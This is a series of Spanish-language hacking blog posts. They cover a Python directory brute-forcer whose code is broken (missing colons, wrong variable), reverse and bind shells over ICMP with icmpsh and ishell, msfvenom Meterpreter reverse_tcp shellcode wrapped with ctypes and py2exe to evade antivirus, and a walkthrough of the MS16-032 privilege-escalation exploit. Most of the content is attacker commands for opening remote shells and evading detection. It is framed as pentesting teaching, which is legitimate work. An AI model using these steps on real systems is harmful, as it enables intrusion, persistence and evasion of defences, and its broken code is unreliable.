martes, 7 de marzo de 2017

Mini-Curso Hacking Web con Python | # 1 Brute-Force de directorios

Requisitos:

Para seguir este curso es importante tener una base de conocimientos en python.

Introducción:

Cuando estas realizando un pentest, es importante saber donde están los paneles administrativos, donde puedes encontrar información sensible, páginas secretas...
Uno de los métodos es estar probar url por url para saber cual existe y cual no, por ejemplo:
site.com/admin
site.com/administracion
A esto se le conoce como "Brute-Force de directorios"

En este capítulo aprenderás a usar python para hacer un brute-force de directorios.

Tutorial:

Creamos un nuevo archivo .py el cual contendrá el siguiente script:

import requests 1
url = 'http://site.com'  2
respuesta = requests.get(url) 3
print respuesta.text 4

1 Importamos la librería request.
2 Establecemos en una variable la URL que queremos atacar.
3 Guardamos la respuesta en una variable
4 Imprimimos por pantalla la respuesta

De este modo nos aparecerá por pantalla la página completa. Pero a nosotros no nos interesa eso, nos interesa saber si esa página existe o no, ¿y cómo hacemos eso?, muy fácil simplemente haremos lo siguiente:

import requests
url = 'http://site.com'
respuesta = requests.get(url)
print respuesta.text -- Cambiamos por --> print respuesta.status_code

Si ejecutamos el script nos saldrá por pantalla el código 200, el cual nos indica que la página web solicitada existe.

¿Hasta aquí fácil, no?, vamos a verlo más claro:

Si nosotros en el script ponemos una URL que no existe como se ve a continuación:

import requests
url = 'http://site.com/aaaaaaaaaaaaaaa'
respuesta = requests.get(url)
print respuesta.status_code

Nos devolverá el código 404 que nos indica que no existe dicha página.

En base a ese código podemos saber si la url existe o no, esto resulta de gran utilidad, por ejemplo si queremos saber si el panel administrativo es /admin, pondremos:
  
import requests
url = 'http://site.com/admin'
respuesta = requests.get(url)
print respuesta.status_code

Si nos devuelve el 403 puede indicar que la web tiene un WAF (Web Application Firewall) que filtra algunas palabras de la URL (Tampoco es seguro esto).

¿Como podemos automatizar todo este proceso?, podemos crear un archivo de texto con una lista de varios directorios, y que recorra el archivo probando los directorios. Muy bien, vamos a implementarlo en nuestro script:

import requests
url = 'http://site.com/'
directorio = 'admin' 1
respuesta = requests.get(url+directorio) 2
print respuesta.status_code

1 Creamos una nueva variable, la cual contendrá un string que será el nombre del directorio que queremos comprobar.
2 Juntamos la url que queremos comprobar + el directorio.

En vez de poner el nombre del directorio nosotros vamos a crear un wordlist (Un archivo de texto que contiene una lista de nombres), la distribución Kali Linux trae por defecto bastantes diccionarios que podemos encontrar en la ruta: /usr/share/dirbuster/wordlists, en este capitulo usaremos uno de ellos.

Para cargar un wordlist en nuestro script haremos lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt') 1
lineas = archivo.readlines() 2
url = 'http://site.com/'
directorio = 'admin'
respuesta = requests.get(url+directorio)
print respuesta.status_code

1 Abriremos el archivo wordlist
2 Como solo queremos las lineas de ese archivo para ello usamos la variable archivo. y el método readlines y la salida la almacenamos en una variable llamada lineas.
En esa variable ahora se encuentran todas las lineas de nuestro archivo, podemos iterar en esas lineas con un for.

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas 1
directorio = linea 2
respuesta = requests.get(url+directorio)
print respuesta.status_code

1 Sacará linea por linea de todas las lineas del archivo.
2 Pondra el nombre de directorio como si fuese una linea

Podemos simplificar todo esto quitando la variable directorio y metiendo la variable linea en respuesta, de este modo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+linea)
print respuesta.status_code

Cambiarmos el print por url+linea para saber que url existe y cual no.

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
print url+linea, respuesta.status_code

Como apareceran muchos directorios que no existen vamos a filtrar para que solo aparezcan los que si existen, lo haremos añadiendo lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
codigo = respuesta.status_code 1
if codigo != 404 and codigo != 403: 2
    print url+linea, codigo 3
1 Creamos una variable llamada codigo que va a tener el status_code
2, 3 Añadimos una condicion, si el codigo es distinto a 404 o a 403 que aparezca en pantalla.

Script completo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
codigo = respuesta.status_code
if codigo != 404 and codigo != 403:
    print url+linea, codigo

Si tienes alguna duda, ponla en comentarios y estate atento al segundo episodio. Espero que te haya sido de utilidad este capítulo.
 

 

sábado, 4 de marzo de 2017

Conexion de shell inversa mediante ICMP

Definición:

El Protocolo de Mensajes de Control de Internet o ICMP (por sus siglas en inglés de Internet Control Message Protocol) es el sub protocolo de control y notificación de errores del Protocolo de Internet (IP). Como tal, se usa para enviar mensajes de error, indicando por ejemplo que un servicio determinado no está disponible o que un router o host no puede ser localizado. También puede ser utilizado para transmitir mensajes ICMP Query.

ICMP difiere del propósito de TCP y UDP ya que generalmente no se utiliza directamente por las aplicaciones de usuario en la red. La única excepción es la herramienta ping y traceroute, que envían mensajes de petición Echo ICMP (y recibe mensajes de respuesta Echo) para determinar si un host está disponible, el tiempo que le toma a los paquetes en ir y regresar a ese host y cantidad de hosts por los que pasa.

Más sobre el protocolo ICMP en: https://www.rfc-es.org/rfc/rfc0792-es.txt 

En esta entrada veremos como tener acceso a una shell (con conexión inversa) de una máquina,  mediante el protocolo ICMP y evitar así posibles Firewalls o IPS.

Tutorial:

ICMPSH

Herramienta escrita en python que no necesita permisos de administrador para usarse, esta herramienta solo puede ejecutarse en sistemas operativos Windows.
En este caso se usa una conexión inversa.

Para descargar la herramienta: https://github.com/inquisb/icmpsh

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Windows 10 Pro.

Antes de nada en la máquina atacante deberemos editar un archivo para transferir correctamente las peticiones ICMP entre servidor y cliente, para ello usaremos el comando:

$ sysctl -w net.ipv4.icmp_echo_ignore_all=1

Luego ejecutaremos el comando:

$ python icmpsh_m.py <IPLOCAL> <IPVICTIMA>

Y desde la máquina víctima ejecutaremos:

> icmpsh.exe -t <IPATACANTE> -d 500 -b 30 -s 128


Y la conexión se realizará de forma exitosa.

Vídeo:

ISHELL

En esta herramienta la conexión será de tipo "bind", solo funcionará en Linux, BSD, Solaris y ahora si necesitaremos el uso de permisos de administrador.
Podemos encontrar la descarga de la herramienta en: https://sourceforge.net/projects/icmpshell/files/ish/v0.2/

Para instalarla ejecutaremos el comando make linux sobre el directorio raíz de la carpeta.

PoC:

En esta prueba de concepto se usara como máquina atacante un Kali Linux, y como máquina víctima un Ubuntu 16.04.

Una vez instalada la herramienta (Tanto en la máquina víctima como en la atacante), en la máquina víctima ejecutaremos el comando:

$ ./ishd -d -p <PUERTO>

Y luego el atacante se conectará al puerto de la máquina víctima con el comando:

$ ./ish -tr 0 -p <PUERTO> <IPVÍCTIMA>

Vídeo:

 


Ofuscar Shellcodes en Python

Definición:

Python dispone de una librería llamada ctypes, la cual permite especificar un shellcode en formato C y conseguir ejecutarlo desde el propio script.

Requisitos:

- Máquina Kali Linux
- Máquina Windows 7
    - Python 2.7
    - Py2Exe

Tutorial:

Kali Linux

Lo primero será crear nuestra shellcode, para ello usaremos msfvenom, podemos crearla con el siguiente comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IPLOCAL> LPORT=<Puerto al que se va a conectar> -f c --encoder x86/shikata_ga_nai --iterations 6 --bad-chars '\x00'

Nos saldrá algo como esto:


Copiamos la shellcode, ahora vamos a pasarla a exe, podemos hacer uso de esta web.


Como vemos tendrá bastantes detecciones:



Para ofuscarlo, volvemos a copiar el shellcode, esta vez lo copiaremos directamente en un script en python, y usando la librería ctypes, crearemos un espacio en memoria donde irá almacenado el shellcode:

Copiaremos el archivo .py a una máquina con windows.

Windows 7:

Antes de empezar necesitaremos installar py2exe, lo podemos descargar aquí.

Una vez instalado, vamos a convertir a exe el archivo python, para ello copiamos el shellcode.py al directorio de nuestro python (Para que sea más fácil la explicación), en mi caso "C:\Python27"

En ese mismo directorio creamos un archivo llamado "setup.py" el cual contendrá:


from distutils.core import setup
import py2exe

setup(console=['NuestroArchivo.py'])

Abriremos un CMD, iremos a la ruta de python (C:\Python27), y escribiremos el siguiente comando:

python setup.py install

Por último, vamos a convertirlo a exe con el comando:

python setup.py py2exe

Nos creará un directorio llamado "dist" y dentro tendremos nuestro ejecutable, esta vez si que evadirá los antivirus.


 
Puedes ver un tutorial más detallado de py2exe aquí.

La importancia de Actualizaciones en Windows | Explotando MS16-032

Muchas empresas no se dan cuenta de los riesgos que existen al no actualizar los sistemas operativos, programas, cms.... He aquí un claro ejemplo de porque debemos actualizar siempre nuestros sistemas y estar al tanto de nuevas actualizaciones.

Introducción:

La actualización de Windows "MS16-032" que salió el 8 de marzo del 2016 corrige una vulnerabilidad que podría permitir la elevación de privilegios si se produce un error en el servicio de inicio de sesión secundario de Windows administrar correctamente los controladores de solicitud de memoria. El parche que cubre la vulnerabilidad es el KB3139914. La vulnerabilidad recibe el nombre de CVE-2016-0099.

Mediante el cmdlet Get-Hotfix podemos ver las actualizaciones instaladas en nuestro equipo, podemos filtrar para que salgan solo actualizaciones de seguridad mediante: Get-Hotfix –description “Security Update”.

Si el equipo tiene instalado el parche ya estaremos seguros ante la vulnerabilidad.

PoC:

Para el correcto uso de esta prueba de concepto se deberá tener las políticas de ejecución en "Unrestricted", podemos cambiar dichas políticas en el usuario actual con el comando:
> Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force, desde nuestro PowerShell. Para ver las políticas aplicadas usaremos el cmdlet Get-ExecutionPolicy

Exploit (Solo funcionará con PowerShell 2.0 y con un procesador de dos o más núcleos):

Para usar el exploit lo descargaremos y lo importaremos con el comando > Import-Module <Archivo.ps1>

Una vez importado llamaremos a la función con el comando: > Invoke-MS16-032

Vídeo: